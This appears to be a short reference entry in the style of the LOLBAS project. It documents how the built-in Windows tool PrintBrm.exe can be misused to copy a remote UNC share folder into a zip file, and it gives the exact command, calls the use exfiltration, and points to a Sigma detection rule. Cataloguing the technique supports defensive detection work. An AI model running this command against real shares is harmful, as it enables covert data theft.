Printer Migration Command-Line Tool
PrintBrm -b -d \\1.2.3.4\share\example_folder -f C:\Users\user\Desktop\new.zip
Create a ZIP file from a folder in a remote drive
Exfiltrate the contents of a remote folder on a UNC share into a zip file
C:\Windows\System32\spool\tools\PrintBrm.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml, IOC: PrintBrm.exe should not be run on a normal workstation
Elliot Killick (@elliotkillick)